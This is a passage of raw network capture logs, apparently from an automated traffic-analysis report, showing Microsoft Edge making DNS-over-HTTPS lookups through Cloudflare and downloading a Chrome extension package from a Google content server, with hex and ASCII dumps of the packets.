73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49766	172.64.41.3	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 18:58:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 18:58:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 18:58:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e62e9aaef2e0fab-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 18:58:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1b 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49760	172.64.41.3	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 18:58:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 18:58:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 18:58:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e62e9aaeb384370-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 18:58:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 08 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49762	162.159.61.3	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 18:58:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 18:58:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 18:58:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e62e9ab29b88c8a-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 18:58:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49781	172.64.41.3	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 18:58:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49780	172.64.41.3	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 18:58:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 18:58:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 18:58:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e62e9ad98cd0f9b-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 18:58:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f9 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49761	142.250.181.97	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:43 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:43 UTC	565	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC58AP8cgy8QCSMfjlA1phiguxydtiLgrGzyfe-eWYeYAybEI-ZVJvb7JRg57XNhsGcHgCo X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Thu, 21 Nov 2024 16:45:00 GMT Expires: Fri, 21 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 8023 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-21 18:58:43 UTC	825	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 e7 Data Ascii: __5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 24 Data Ascii: eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4$
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e fc Data Ascii: oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac bf Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 9d Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 58 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1X
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc 1f Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a 73 Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.js
2024-11-21 18:58:43 UTC	1390	IN	Data Raw: 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 Data Ascii: i'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49782	162.159.61.3	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 18:58:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49778	20.190.147.6	443

Timestamp	Bytes transferred	Direction	Data
